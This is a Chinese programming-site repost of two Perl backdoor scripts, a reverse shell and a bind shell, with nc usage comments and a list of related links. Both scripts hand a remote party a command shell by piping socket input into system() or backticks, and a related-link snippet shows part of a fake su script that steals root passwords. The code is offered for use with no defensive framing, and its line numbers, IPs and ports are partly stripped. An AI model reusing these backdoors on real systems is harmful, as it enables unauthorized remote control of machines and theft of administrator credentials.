位置: 编程技术 - 正文

perl后门,正向和反向!实例代码

编辑:rootadmin
反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}

推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。

perl后门,正向和反向!实例代码

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强

用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

标签: perl后门,正向和反向!实例代码

本文链接地址:https://www.jiuchutong.com/biancheng/372433.html 转载请保留说明!

上一篇:Shell编程的一些知识集合(shell编程技巧)

下一篇:Perl模块编写说明(perl编程)

  • 最新个税手续费返还会计分录小规模纳税人
  • 建筑企业差额征税如何开票
  • 餐饮业厨房设备专票可以抵税吗
  • 一般纳税人什么条件
  • 形式发票需要签字盖章吗
  • 税控系统技术维护费可以抵扣吗
  • 小规模变更为一般纳税人流程
  • 新开商贸公司怎么做账和报税
  • 财政拨款的事业单位有哪些
  • 应交税金属于什么会计分录
  • 企业计提短期借款利息费用应贷记的会计科目是
  • 小规模 开增值税
  • 以前年度的税务怎么查
  • 关于汽车配件的书
  • 公司不动产管理办法
  • 预收账款抵扣怎么做分录
  • 当月支付费用当月收到发票
  • 通讯费补贴入什么科目
  • 2021年个人社保代扣失败
  • 以前年度的库存商品出现负数今年如何入账
  • 以前年度损益申报怎么报所得税
  • symtray.exe - symtray是什么进程 有何作用
  • google搜索打不开怎么办
  • 在php中,字符串有哪些表示形式
  • 因质量问题被扣钱怎么办
  • 判断企业存货过多的判断方法
  • 政府会计制度固定资产折旧哪个月开始计提
  • 溢价对外投资账务处理
  • vue编写网页
  • repair.exe是什么软件
  • 银行本票存款和银行存款的区别
  • 退休后工作单位填什么内容
  • 借款利息还能再算利息吗
  • 个体户可以不办公户吗
  • 如何查询上年企业所得税
  • 计提工资扣社保的凭证
  • 本月无开票企业怎么报税
  • 视同销售到底如何纳税调整?
  • php7编译安装gd库
  • 月末库存商品成本计算
  • 发票行业税目怎么选
  • 财务报表编制要求包含
  • sql server分为哪两类
  • 金税盘技术服务费怎么交费
  • 财务费用应付利息
  • 车辆保险费如何缴纳印花税的
  • 给离退休人员发放以前年度在岗奖金需要计提工会经费吗
  • 暂估入账应该如何操作
  • 企业所得税缴纳模式
  • 购买库存商品的运输费
  • 价税分离购销合同模板
  • 出口退税进项发票有什么要求
  • 新单位成立需要做什么工作
  • 现金日记账与现金流量表的区别
  • 服务费的进项发票怎么做分录
  • 股东权益净资产收益率计算公式
  • mysql 判断
  • fedora最新版本
  • 在windows xp
  • 金山卫士电脑版
  • win8电脑远程控制怎么弄
  • 从零基础到入门
  • 如何做批处理命令
  • 那些年的我们什么意思
  • dos判断变量是否为空
  • bat批处理执行cmd命令
  • bootstrap 按钮
  • fw开发
  • jquery div innerhtml
  • python 网络爬虫库
  • [置顶]游戏名:chivalry2
  • jquery获取当前点击的元素
  • 一般纳税人销售米面粮油税率
  • 社保每个月几号截止申报
  • 领导班子和领导干部年度考核
  • 进入杭州车辆怎么申请
  • 个税纳税证明在哪里开
  • 欧美 房产税
  • 年度纳税申报基础信息表怎么填
  • 小规模纳税人的认定标准是什么
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设